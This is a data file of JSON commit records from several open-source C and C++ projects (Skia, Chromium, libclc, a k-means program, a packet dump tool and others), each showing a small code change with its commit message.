{"commit":"eaac4a2d7dd7663451775f0eeb72a800ad1f99f5","old_file":"include\/config\/SkUserConfigManual.h","new_file":"include\/config\/SkUserConfigManual.h","old_contents":"\/*\n * Copyright 2017 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef SkUserConfigManual_DEFINED\n#define SkUserConfigManual_DEFINED\n  #define GR_TEST_UTILS 1\n  #define SK_BUILD_FOR_ANDROID_FRAMEWORK\n  #define SK_DEFAULT_FONT_CACHE_LIMIT   (768 * 1024)\n  #define SK_DEFAULT_GLOBAL_DISCARDABLE_MEMORY_POOL_SIZE (512 * 1024)\n  #define SK_USE_FREETYPE_EMBOLDEN\n\n  \/\/ Disable these Ganesh features\n  #define SK_DISABLE_REDUCE_OPLIST_SPLITTING\n  \/\/ Check error is expensive. HWUI historically also doesn't check its allocations\n  #define GR_GL_CHECK_ALLOC_WITH_GET_ERROR 0\n\n  \/\/ Legacy flags\n  #define SK_IGNORE_GPU_DITHER\n  #define SK_SUPPORT_DEPRECATED_CLIPOPS\n\n  \/\/ Staging flags\n  #define SK_LEGACY_PATH_ARCTO_ENDPOINT\n\n  \/\/ Needed until we fix https:\/\/bug.skia.org\/2440\n  #define SK_SUPPORT_LEGACY_CLIPTOLAYERFLAG\n  #define SK_SUPPORT_LEGACY_EMBOSSMASKFILTER\n  #define SK_SUPPORT_LEGACY_AA_CHOICE\n  #define SK_SUPPORT_LEGACY_AAA_CHOICE\n\n  #define SK_DISABLE_DAA  \/\/ skbug.com\/6886\n\n#endif \/\/ SkUserConfigManual_DEFINED\n","new_contents":"\/*\n * Copyright 2017 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef SkUserConfigManual_DEFINED\n#define SkUserConfigManual_DEFINED\n  #define GR_TEST_UTILS 1\n  #define SK_BUILD_FOR_ANDROID_FRAMEWORK\n  #define SK_DEFAULT_FONT_CACHE_LIMIT   (768 * 1024)\n  #define SK_DEFAULT_GLOBAL_DISCARDABLE_MEMORY_POOL_SIZE (512 * 1024)\n  #define SK_USE_FREETYPE_EMBOLDEN\n\n  \/\/ Disable these Ganesh features\n  #define SK_DISABLE_REDUCE_OPLIST_SPLITTING\n  \/\/ Check error is expensive. HWUI historically also doesn't check its allocations\n  #define GR_GL_CHECK_ALLOC_WITH_GET_ERROR 0\n\n  \/\/ Legacy flags\n  #define SK_IGNORE_GPU_DITHER\n  #define SK_SUPPORT_DEPRECATED_CLIPOPS\n\n  \/\/ Staging flags\n  #define SK_LEGACY_PATH_ARCTO_ENDPOINT\n  #define SK_SUPPORT_LEGACY_MATRIX_IMAGEFILTER\n\n  \/\/ Needed until we fix https:\/\/bug.skia.org\/2440\n  #define SK_SUPPORT_LEGACY_CLIPTOLAYERFLAG\n  #define SK_SUPPORT_LEGACY_EMBOSSMASKFILTER\n  #define SK_SUPPORT_LEGACY_AA_CHOICE\n  #define SK_SUPPORT_LEGACY_AAA_CHOICE\n\n  #define SK_DISABLE_DAA  \/\/ skbug.com\/6886\n\n#endif \/\/ SkUserConfigManual_DEFINED\n","subject":"Add flag to stage api change am: f83df73740","message":"Add flag to stage api change am: f83df73740\n\nOriginal change: https:\/\/googleplex-android-review.googlesource.com\/c\/platform\/external\/skia\/+\/13451544\n\nMUST ONLY BE SUBMITTED BY AUTOMERGER\n\nChange-Id: I2856cdd8b51312e17468c6b5c5cdd98798d72f60\n","lang":"C","license":"bsd-3-clause","repos":"aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia"}
{"commit":"af37feed18a95f15ca5ec798ab29e4351c8b335c","old_file":"k-means\/main.c","new_file":"k-means\/main.c","old_contents":"\/\/\n\/\/  main.c\n\/\/  k-means\n\/\/\n\/\/  Created by Jamie Bullock on 24\/08\/2014.\n\/\/  Copyright (c) 2014 Jamie Bullock. All rights reserved.\n\/\/\n\n#include \"km.h\"\n\n#include <stdio.h>\n\nint main(int argc, const char * argv[])\n{\n\n    km_textfile textfile = km_textfile_new();\n    \n    RETURN_ON_ERROR(km_textfile_init(textfile));\n    RETURN_ON_ERROR(km_textfile_read(textfile, \"input-2.csv\"));\n    \n    km_pointlist pointlist = km_pointlist_new(km_textfile_num_lines(textfile));\n    \n    RETURN_ON_ERROR(km_pointlist_fill(pointlist, textfile));\n\n        \n    km_pointlist_delete(pointlist);\n    km_textfile_delete(textfile);\n    \n    \n    return 0;\n}\n","new_contents":"\/\/\n\/\/  main.c\n\/\/  k-means\n\/\/\n\/\/  Created by Jamie Bullock on 24\/08\/2014.\n\/\/  Copyright (c) 2014 Jamie Bullock. All rights reserved.\n\/\/\n\n#include \"km.h\"\n\n#include <stdio.h>\n\nenum cluster_id {\n    Adam,\n    Bob,\n    Charley,\n    David,\n    Edward,\n    km_num_cluster_ids_\n};\n\nvoid set_initial_cluster_centroids(km_pointlist pointlist)\n{\n    km_pointlist_update(pointlist, 0, Adam, -0.357, -0.253);\n    km_pointlist_update(pointlist, 1, Bob, -0.055, 4.392);\n    km_pointlist_update(pointlist, 2, Charley, 2.674, -0.001);\n    km_pointlist_update(pointlist, 3, David, 1.044, -1.251);\n    km_pointlist_update(pointlist, 3, Edward, -1.495, -0.090);\n}\n\nint main(int argc, const char * argv[])\n{\n\n    km_textfile textfile = km_textfile_new();\n    \n    RETURN_ON_ERROR(km_textfile_init(textfile));\n    RETURN_ON_ERROR(km_textfile_read(textfile, \"input-2.csv\"));\n    \n    km_pointlist pointlist = km_pointlist_new(km_textfile_num_lines(textfile));\n    km_pointlist centroids = km_pointlist_new(km_num_cluster_ids_);\n    \n    RETURN_ON_ERROR(km_pointlist_fill(pointlist, textfile));\n    \n    set_initial_cluster_centroids(centroids);\n        \n    km_pointlist_delete(pointlist);\n    km_textfile_delete(textfile);\n        \n    return 0;\n}\n","subject":"Add setup code for initial centroids","message":"Add setup code for initial centroids\n","lang":"C","license":"mit","repos":"jamiebullock\/k-means,jamiebullock\/k-means"}
{"commit":"5251cdd753a244ce7e1b55d397831d31ad75934c","old_file":"Matrix2D.h","new_file":"Matrix2D.h","old_contents":"\/*\n\t Copyright 2011 Michael Fortin\n\t \n\t Licensed under the Apache License, Version 2.0 (the \"License\");\n\t you may not use this file except in compliance with the License.\n\t You may obtain a copy of the License at\n\t \n\t\t http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\t \n\t Unless required by applicable law or agreed to in writing, software\n\t distributed under the License is distributed on an \"AS IS\" BASIS,\n\t WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\t See the License for the specific language governing permissions and\n\t limitations under the License.\n *\/\n\n#ifndef MATRIX2D\n#define MATRIX2D\n\n#include \"Coord2D.h\"\n#include \"Angle.h\"\n\n\/\/! Basic 2D matrix\nclass Matrix2D\n{\npublic:\n\t\/\/! First row\n\tCoord2D row1;\n\t\n\t\/\/! Second row\n\tCoord2D row2;\n\t\n\t\/\/! Initialize as rotation matrix\n\tMatrix2D(const Angle &in_angle)\n\t: row1(cosf(in_angle.radians()), -sinf(in_angle.radians()))\n\t, row2(sinf(in_angle.radians()), cosf(in_angle.radians()))\n\t{}\n};\n\n\n\/\/! Basic multiplication\nCoord2D operator*(const Matrix2D &in_mat, const Coord2D &in_c2d)\n{\n\treturn Coord2D(dot(in_mat.row1, in_c2d), dot(in_mat.row2, in_c2d));\n}\n\n#endif\n","new_contents":"\/*\n\t Copyright 2011 Michael Fortin\n\t \n\t Licensed under the Apache License, Version 2.0 (the \"License\");\n\t you may not use this file except in compliance with the License.\n\t You may obtain a copy of the License at\n\t \n\t\t http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\t \n\t Unless required by applicable law or agreed to in writing, software\n\t distributed under the License is distributed on an \"AS IS\" BASIS,\n\t WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\t See the License for the specific language governing permissions and\n\t limitations under the License.\n *\/\n\n#ifndef MATRIX2D\n#define MATRIX2D\n\n#include \"Coord2D.h\"\n#include \"Angle.h\"\n\n\/\/! Basic 2D matrix\nclass Matrix2D\n{\npublic:\n\t\/\/! First row\n\tCoord2D row1;\n\t\n\t\/\/! Second row\n\tCoord2D row2;\n\t\n\t\/\/! Initialize as rotation matrix\n\tMatrix2D(const Angle &in_angle)\n\t: row1(cosf(in_angle.radians()), -sinf(in_angle.radians()))\n\t, row2(sinf(in_angle.radians()), cosf(in_angle.radians()))\n\t{}\n\t\n\t\/\/! Basic multiplication\n\tCoord2D operator*(const Coord2D &in_c2d) const\n\t{\n\t\treturn Coord2D(dot(row1, in_c2d), dot(row2, in_c2d));\n\t}\n};\n\n\n#endif\n","subject":"Multiply now member of class - link errors when included in multiple cpp files","message":"Multiply now member of class - link errors when included in multiple cpp files\n","lang":"C","license":"apache-2.0","repos":"mifortin\/AgilePod,mifortin\/AgilePod"}
{"commit":"cedac29b3cb33833bb96f723661f0af0cc638ecc","old_file":"chrome\/common\/notification_observer.h","new_file":"chrome\/common\/notification_observer.h","old_contents":"","new_contents":"\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.\r\n\/\/ Use of this source code is governed by a BSD-style license that can be\r\n\/\/ found in the LICENSE file.\r\n\r\n#ifndef CHROME_COMMON_NOTIFICATION_OBSERVER_H_\r\n#define CHROME_COMMON_NOTIFICATION_OBSERVER_H_\r\n\r\nclass NotificationDetails;\r\nclass NotificationSource;\r\nclass NotificationType;\r\n\r\n\/\/ This is the base class for notification observers. When a matching\r\n\/\/ notification is posted to the notification service, Observe is called.\r\nclass NotificationObserver {\r\n public:\r\n  virtual ~NotificationObserver();\r\n\r\n  virtual void Observe(NotificationType type,\r\n                       const NotificationSource& source,\r\n                       const NotificationDetails& details) = 0;\r\n};\r\n\r\n#endif  \/\/ CHROME_COMMON_NOTIFICATION_OBSERVER_H_\r\n","subject":"Add forgotted notification observer header.","message":"Add forgotted notification observer header.\n\ngit-svn-id: http:\/\/src.chromium.org\/svn\/trunk\/src@9021 4ff67af0-8c30-449e-8e8b-ad334ec8d88c\n\nFormer-commit-id: b3590333382a99d18cc057bc509052629f21e87a","lang":"C","license":"bsd-3-clause","repos":"meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser"}
{"commit":"31f6b273a304341c71bbae34ba4b665d59b3ab72","old_file":"include\/platform\/time_mach.h","new_file":"include\/platform\/time_mach.h","old_contents":"#ifndef __TIME_MACH_H__\n#define __TIME_MACH_H__\n\n#include \"config.h\"\t\/\/ macros, bool, uint[XX]_t\n\n#include <mach\/clock.h>\t\/\/ clock_serv_t, mach_timespec_t, etc.\n#include <mach\/mach.h>\t\/\/ mach_port_deallocate\n\nstatic inline uint64_t get_time(void)\n{\n\tstatic float adj_const = 0.0F;\n\n\t\/\/ Cache the value (it doesn't change)\n\tif(adj_const == 0.0F)\n\t{\n\t\tmach_timebase_info_data_t ti;\n\t\tmach_timebase_info(&ti);\n\n\t\tadj_const = ti.numer \/ ti.denom;\n\t}\n\n\treturn (uint64_t)mach_absolute_time() * adj_const;\n}\n\n#endif \/*__TIME_MACH_H__*\/\n","new_contents":"#ifndef __TIME_MACH_H__\n#define __TIME_MACH_H__\n\n#include \"config.h\"\t\/\/ macros, bool, uint[XX]_t\n\n#include <mach\/clock.h>\t\/\/ clock_serv_t, mach_timespec_t, etc.\n#include <mach\/mach.h>\t\/\/ mach_port_deallocate\n#include <mach\/mach_time.h>\n\nstatic inline uint64_t get_time(void)\n{\n\tstatic float adj_const = 0.0F;\n\n\t\/\/ Cache the value (it doesn't change)\n\tif(adj_const == 0.0F)\n\t{\n\t\tmach_timebase_info_data_t ti;\n\t\tmach_timebase_info(&ti);\n\n\t\tadj_const = ti.numer \/ ti.denom;\n\t}\n\n\treturn (uint64_t)mach_absolute_time() * adj_const;\n}\n\n#endif \/*__TIME_MACH_H__*\/\n","subject":"Fix build on OS X.","message":"Fix build on OS X.\n","lang":"C","license":"bsd-3-clause","repos":"foxkit-us\/supergameherm,supergameherm\/supergameherm"}
{"commit":"905628048f5306cb5cc96e24eda40e86c6b44c62","old_file":"src\/dialogwindow.h","new_file":"src\/dialogwindow.h","old_contents":"#pragma once\n\n#include <nanogui\/screen.h>\n#include <nanogui\/window.h>\n#include <nanogui\/theme.h>\n\nclass EditorGUI;\nclass Structure;\n\nclass DialogWindow : public nanogui::Window {\npublic:\n\tDialogWindow(EditorGUI *screen, nanogui::Theme *theme);\n\tnanogui::Window *getWindow() { return this; }\n\n\tStructure *structure() { return current_structure; }\n\tvoid setStructure( Structure *s);\n\tvoid loadStructure( Structure *s);\n\tvoid clear();\nprivate:\n\tEditorGUI *gui;\n\tStructure *current_structure;\n};\n\n","new_contents":"#pragma once\n\n#include <nanogui\/screen.h>\n#include <nanogui\/window.h>\n#include <nanogui\/theme.h>\n\nclass EditorGUI;\nclass Structure;\n\nclass DialogWindow : public nanogui::Window {\npublic:\n\tDialogWindow(EditorGUI *screen, nanogui::Theme *theme);\n\tnanogui::Window *getWindow() { return this; }\n\n\tStructure *structure() { return current_structure; }\n\tvoid setStructure( Structure *s);\n\tvoid loadStructure( Structure *s);\n\tvoid clear();\nprivate:\n\tEditorGUI *gui = nullptr;\n\tStructure *current_structure = nullptr;\n};\n\n","subject":"Fix crash due to uninitialised pointer when displaying a dialog","message":"Fix crash due to uninitialised pointer when displaying a dialog\n","lang":"C","license":"bsd-3-clause","repos":"latproc\/humid,latproc\/humid"}
{"commit":"576dcaaa52ba9ca3550d887e358faa0e31c8cf6b","old_file":"OrbitCaptureGgpClient\/include\/OrbitCaptureGgpClient\/OrbitCaptureGgpClient.h","new_file":"OrbitCaptureGgpClient\/include\/OrbitCaptureGgpClient\/OrbitCaptureGgpClient.h","old_contents":"\/\/ Copyright (c) 2020 The Orbit Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef ORBIT_CAPTURE_GGP_CLIENT_ORBIT_CAPTURE_GGP_CLIENT_H_\n#define ORBIT_CAPTURE_GGP_CLIENT_ORBIT_CAPTURE_GGP_CLIENT_H_\n\n#include <string>\n#include <vector>\n\nclass CaptureClientGgpClient {\n public:\n  CaptureClientGgpClient(std::string grpc_server_address);\n  ~CaptureClientGgpClient();\n  CaptureClientGgpClient(CaptureClientGgpClient&&);\n  CaptureClientGgpClient& operator=(CaptureClientGgpClient&&);\n\n  int StartCapture();\n  int StopAndSaveCapture();\n  int UpdateSelectedFunctions(std::vector<std::string> capture_functions);\n  void ShutdownService();\n\n private:\n  class CaptureClientGgpClientImpl;\n  std::unique_ptr<CaptureClientGgpClientImpl> pimpl;\n};\n\n#endif  \/\/ ORBIT_CAPTURE_GGP_CLIENT_ORBIT_CAPTURE_GGP_CLIENT_H_","new_contents":"\/\/ Copyright (c) 2020 The Orbit Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef ORBIT_CAPTURE_GGP_CLIENT_ORBIT_CAPTURE_GGP_CLIENT_H_\n#define ORBIT_CAPTURE_GGP_CLIENT_ORBIT_CAPTURE_GGP_CLIENT_H_\n\n#include <memory>\n#include <string>\n#include <vector>\n\nclass CaptureClientGgpClient {\n public:\n  CaptureClientGgpClient(std::string grpc_server_address);\n  ~CaptureClientGgpClient();\n  CaptureClientGgpClient(CaptureClientGgpClient&&);\n  CaptureClientGgpClient& operator=(CaptureClientGgpClient&&);\n\n  int StartCapture();\n  int StopAndSaveCapture();\n  int UpdateSelectedFunctions(std::vector<std::string> capture_functions);\n  void ShutdownService();\n\n private:\n  class CaptureClientGgpClientImpl;\n  std::unique_ptr<CaptureClientGgpClientImpl> pimpl;\n};\n\n#endif  \/\/ ORBIT_CAPTURE_GGP_CLIENT_ORBIT_CAPTURE_GGP_CLIENT_H_","subject":"Solve build error in presubmit","message":"Solve build error in presubmit\n\nMissing include in file.\n","lang":"C","license":"bsd-2-clause","repos":"google\/orbit,google\/orbit,google\/orbit,google\/orbit"}
{"commit":"b08be4f10886231672844974d8671ddd47276dc7","old_file":"generic\/include\/clc\/clcfunc.h","new_file":"generic\/include\/clc\/clcfunc.h","old_contents":"#define _CLC_OVERLOAD __attribute__((overloadable))\n#define _CLC_DECL\n#define _CLC_DEF __attribute__((always_inline))\n#define _CLC_INLINE __attribute__((always_inline)) static inline\n","new_contents":"#define _CLC_OVERLOAD __attribute__((overloadable))\n#define _CLC_DECL\n#define _CLC_DEF __attribute__((always_inline))\n#define _CLC_INLINE __attribute__((always_inline)) inline\n","subject":"Remove the static keyword from the _CLC_INLINE macro","message":"Remove the static keyword from the _CLC_INLINE macro\n\nstatic functions are not allowed in OpenCL C\n\ngit-svn-id: e7f1ab7c2a259259587475a3e7520e757882f167@184986 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/libclc,llvm-mirror\/libclc,llvm-mirror\/libclc,llvm-mirror\/libclc,llvm-mirror\/libclc,llvm-mirror\/libclc,llvm-mirror\/libclc"}
{"commit":"686d82dc92be619255669c99ad2d67eb3f8850b0","old_file":"src\/math\/p_sinh.c","new_file":"src\/math\/p_sinh.c","old_contents":"#include <pal.h>\n\n\/*\n * sinh z = (exp z - exp(-z)) \/ 2\n *\/\nstatic inline float _p_sinh(const float z)\n{\n    float exp_z;\n    p_exp_f32(&z, &exp_z, 1);\n    return 0.5f * (exp_z - 1.f \/ exp_z);\n}\n\n\/**\n *\n * Calculates the hyperbolic sine of the vector 'a'. Angles are specified\n * in radians.\n *\n * @param a     Pointer to input vector\n *\n * @param c     Pointer to output vector\n *\n * @param n     Size of 'a' and 'c' vector.\n *\n * @return      None\n *\n *\/\nvoid p_sinh_f32(const float *a, float *c, int n)\n{\n    int i;\n    for (i = 0; i < n; i++) {\n        c[i] = _p_sinh(a[i]);\n    }\n}\n","new_contents":"#include <pal.h>\n\n#include \"p_exp.h\"\n\n\/*\n * sinh z = (exp z - exp(-z)) \/ 2\n *\/\nstatic inline float _p_sinh(const float z)\n{\n    float exp_z = _p_exp(z);\n    return 0.5f * (exp_z - 1.f \/ exp_z);\n}\n\n\/**\n *\n * Calculates the hyperbolic sine of the vector 'a'. Angles are specified\n * in radians.\n *\n * @param a     Pointer to input vector\n *\n * @param c     Pointer to output vector\n *\n * @param n     Size of 'a' and 'c' vector.\n *\n * @return      None\n *\n *\/\nvoid p_sinh_f32(const float *a, float *c, int n)\n{\n    int i;\n    for (i = 0; i < n; i++) {\n        c[i] = _p_sinh(a[i]);\n    }\n}\n","subject":"Use the inline exponential function.","message":"math:sinh: Use the inline exponential function.\n\nSigned-off-by: Mansour Moufid <ac5f6b12fab5e0d4efa7215e6c2dac9d55ab77dc@gmail.com>\n","lang":"C","license":"apache-2.0","repos":"debug-de-su-ka\/pal,mateunho\/pal,Adamszk\/pal3,olajep\/pal,Adamszk\/pal3,eliteraspberries\/pal,aolofsson\/pal,8l\/pal,parallella\/pal,eliteraspberries\/pal,8l\/pal,aolofsson\/pal,aolofsson\/pal,8l\/pal,Adamszk\/pal3,parallella\/pal,aolofsson\/pal,Adamszk\/pal3,mateunho\/pal,olajep\/pal,olajep\/pal,debug-de-su-ka\/pal,olajep\/pal,debug-de-su-ka\/pal,eliteraspberries\/pal,debug-de-su-ka\/pal,parallella\/pal,eliteraspberries\/pal,eliteraspberries\/pal,mateunho\/pal,parallella\/pal,8l\/pal,mateunho\/pal,parallella\/pal,debug-de-su-ka\/pal,mateunho\/pal"}
{"commit":"f3f4b0e1ab4904f6a1d9011d9abc7735e65b458c","old_file":"nbdump.c","new_file":"nbdump.c","old_contents":"#include <stdio.h>\n#include <string.h>\n\n#include <sys\/types.h>\n#include <sys\/socket.h>\n#include <net\/ethernet.h>\n#include <unistd.h>\n#include <arpa\/inet.h>\n\n\/\/ The default size is enought to hold a whole ethernet frame (< 1524 bytes)\n#ifndef PACKET_BUFFER_SIZE\n#define PACKET_BUFFER_SIZE 2048\n#endif\n\nstatic void print_packet(const unsigned char *pkt, size_t pktlen)\n{\n\twhile (pktlen--) {\n\t\tprintf(\"%02x\", *pkt++);\n\t}\n\n\tputchar('\\n');\n}\n\nint main(int argc, char *argv[])\n{\n\tunsigned char pktbuf[PACKET_BUFFER_SIZE];\n\tint sockfd, res = 0;\n\n\tsockfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));\n\tif (-1 == sockfd) {\n        perror(\"socket\");\n\t\tgoto error;\n\t}\n\n\twhile (1) {\n        ssize_t pktlen = read(sockfd, pktbuf, sizeof(pktbuf));\n        if (pktlen < 0) {\n            perror(\"read\");\n            continue;\n        }\n        if (pktlen > 0) {\n            print_packet(pktbuf, pktlen);\n        }\n\t}\n\n    close(sockfd);\n\nout:\n\treturn res;\n\nerror:\n\tres = 1;\n\tgoto out;\n}\n","new_contents":"#include <stdio.h>\n#include <string.h>\n\n#include <sys\/types.h>\n#include <sys\/socket.h>\n#include <net\/ethernet.h>\n#include <unistd.h>\n#include <arpa\/inet.h>\n\n\/\/ The default size is enought to hold a whole ethernet frame (< 1524 bytes)\n#ifndef PACKET_BUFFER_SIZE\n#define PACKET_BUFFER_SIZE 2048\n#endif\n\nstatic void print_packet(const unsigned char *pkt, size_t pktlen)\n{\n\twhile (pktlen--) {\n\t\tprintf(\"%02x\", *pkt++);\n\t}\n\n\tputchar('\\n');\n}\n\nint main(int argc, char *argv[])\n{\n\tunsigned char pktbuf[PACKET_BUFFER_SIZE];\n\tint sockfd, res = 0;\n\n\tsockfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));\n\tif (-1 == sockfd) {\n\t\tperror(\"socket\");\n\t\tgoto error;\n\t}\n\n\twhile (1) {\n\t\tssize_t pktlen = read(sockfd, pktbuf, sizeof(pktbuf));\n\t\tif (pktlen < 0) {\n\t\t\tperror(\"read\");\n\t\t\tcontinue;\n\t\t}\n\t\tif (pktlen > 0) {\n\t\t\tprint_packet(pktbuf, pktlen);\n\t\t}\n\t}\n\n\tclose(sockfd);\n\nout:\n\treturn res;\n\nerror:\n\tres = 1;\n\tgoto out;\n}\n","subject":"Fix indentation by using tabs only","message":"Fix indentation by using tabs only\n","lang":"C","license":"mit","repos":"grn\/netbox,grn\/netbox"}
{"commit":"497c4be23046de14c1a0c64a39abbbb0a0c19259","old_file":"firmware\/2016\/headers\/pins.h","new_file":"firmware\/2016\/headers\/pins.h","old_contents":"","new_contents":"#ifndef Pins_h\n#define Pins_h\n\n\/*Motor pins*\/\nint PWMA = 9;\nint AIN1 = 8;\nint AIN2 = 7;\n\nint PWMB = 10;\nint BIN1 = 4;\nint BIN2 = 5;\n\nint STDBY = 6;\n\n\/*Encoder pins*\/\nint channelA = 3; \/\/TX = 3\nint channelB = 2; \/\/RX = 2\n\n\/*Radio pins*\/\nint CE = A1; \/\/pro micro\nint CS = A0; \/\/pro micro\n\/\/int CE = 3; \/\/nano\n\/\/int CS = 2; \/\/nano\n\n#endif","subject":"Put all pin information in a single header.","message":"Put all pin information in a single header.\n","lang":"C","license":"mit","repos":"unball\/ieee-very-small,unball\/ieee-very-small,unball\/ieee-very-small,unball\/ieee-very-small"}
{"commit":"d4441a0e7d10767b97776fd3046382492132f407","old_file":"src\/Article.h","new_file":"src\/Article.h","old_contents":"#ifndef _ARTICLE_H\n#define _ARTICLE_H\n\n#include <string>\n#include <vector>\n\n\/*!\n * represents a Wikipedia (Mediawiki) and its links\n *\/\nclass Article\n{\npublic:\n    typedef std::vector<Article*>                 ArticleLinkStorage;\n    typedef std::vector<Article*>::const_iterator ArticleLinkIterator;\n\n    \/*! Create a new article from a title\n     * \\param title The title of the article\n     *\/\n    Article(std::string title)\n        : title(title) {};\n\n    \/\/! Get the title of the article\n    std::string getTitle() const\n    {\n        return title;\n    }\n\n    \/\/! get the number of links the article has\n    size_t getNumLinks() const;\n\n    \/*! Add a link to another article\n     * \\param[in] article Pointer to the article this article links\n     * to\n     *\/\n    void addLink(Article* article)\n    {\n        links.push_back(article);\n    }\n\n    \/*! Get const_iterator to first linked article *\/\n    ArticleLinkIterator linkBegin() const\n    {\n        return links.cbegin();\n    }\n\n    \/*! Get const_iterator to last linked article *\/\n    ArticleLinkIterator linkEnd() const\n    {\n        return links.cend();\n    }\n\nprivate:\n    std::string title;\n    ArticleLinkStorage links;\n};\n\n#endif \/\/_ARTICLE_H\n","new_contents":"#ifndef _ARTICLE_H\n#define _ARTICLE_H\n\n#include <string>\n#include <vector>\n\n\/*!\n * represents a Wikipedia (Mediawiki) and its links\n *\/\nclass Article\n{\npublic:\n    \/\/! representation of links to other articles\n    typedef std::vector<Article*>                 ArticleLinkStorage;\n    \/\/! representation of iterator over links\n    typedef std::vector<Article*>::iterator ArticleLinkIterator;\n    \/\/! representation of const iterator over links\n    typedef std::vector<Article*>::const_iterator ArticleLinkConstIterator;\n\n    \/*! Create a new article from a title\n     * \\param title The title of the article\n     *\/\n    Article(std::string title)\n        : title(title) {};\n\n    \/\/! Get the title of the article\n    std::string getTitle() const\n    {\n        return title;\n    }\n\n    \/\/! get the number of links the article has\n    size_t getNumLinks() const;\n\n    \/*! Add a link to another article\n     * \\param[in] article Pointer to the article this article links\n     * to\n     *\/\n    void addLink(Article* article)\n    {\n        links.push_back(article);\n    }\n\n    \/*! Get const_iterator to first linked article *\/\n    ArticleLinkConstIterator linkBegin() const\n    {\n        return links.cbegin();\n    }\n\n    \/*! Get const_iterator to last linked article *\/\n    ArticleLinkConstIterator linkEnd() const\n    {\n        return links.cend();\n    }\n\nprivate:\n    std::string title;\n    ArticleLinkStorage links;\n};\n\n#endif \/\/_ARTICLE_H\n","subject":"Add modifying article link iterator typedef","message":"Add modifying article link iterator typedef\n","lang":"C","license":"mit","repos":"dueringa\/WikiWalker"}
{"commit":"6b3e11bc4cf463b18cd091b5e083d80ec8458e78","old_file":"src\/logging.c","new_file":"src\/logging.c","old_contents":"#include <errno.h>\n#include <stdarg.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <time.h>\n#include <sys\/time.h>\n\n\nvoid rsp_log(char* format, ...)\n{\n    char without_ms[64];\n    char with_ms[64];\n    struct timeval tv;\n    struct tm *tm;\n\n    gettimeofday(&tv, NULL);\n    if ((tm = localtime(&tv.tv_sec)) != NULL)\n    {\n        strftime(without_ms, sizeof(without_ms), \"%Y-%m-%d %H:%M:%S.%%06u %z\", tm);\n        snprintf(with_ms, sizeof(with_ms), without_ms, tv.tv_usec);\n        fprintf(stdout, \"[%s] \", with_ms); \n    }\n\n    va_list argptr;\n    va_start(argptr, format);\n    vfprintf(stdout, format, argptr);\n    va_end(argptr);\n\n    fflush(stdout);\n}\n\n\nvoid rsp_log_error(char* message)\n{\n    char* error = strerror(errno);\n\n    char* full_message = malloc(strlen(message) + 3 + strlen(error));\n    sprintf(full_message, \"%s: %s\", message, error);\n    rsp_log(full_message);\n    free(full_message);\n}\n","new_contents":"#include <errno.h>\n#include <stdarg.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <time.h>\n#include <sys\/time.h>\n\n\nvoid rsp_log(char* format, ...)\n{\n    char without_ms[64];\n    char with_ms[64];\n    struct timeval tv;\n    struct tm *tm;\n\n    gettimeofday(&tv, NULL);\n    if ((tm = localtime(&tv.tv_sec)) != NULL)\n    {\n        strftime(without_ms, sizeof(without_ms), \"%Y-%m-%d %H:%M:%S.%%06u %z\", tm);\n        snprintf(with_ms, sizeof(with_ms), without_ms, tv.tv_usec);\n        fprintf(stdout, \"[%s] \", with_ms); \n    }\n\n    va_list argptr;\n    va_start(argptr, format);\n    vfprintf(stdout, format, argptr);\n    va_end(argptr);\n\n    fprintf(stdout, \"\\n\");\n\n    fflush(stdout);\n}\n\n\nvoid rsp_log_error(char* message)\n{\n    char* error = strerror(errno);\n\n    char* full_message = malloc(strlen(message) + 3 + strlen(error));\n    sprintf(full_message, \"%s: %s\", message, error);\n    rsp_log(full_message);\n    free(full_message);\n}\n","subject":"Add a newline to the end of our log messages","message":"Add a newline to the end of our log messages\n","lang":"C","license":"mit","repos":"gpjt\/rsp,gpjt\/rsp,gpjt\/rsp"}
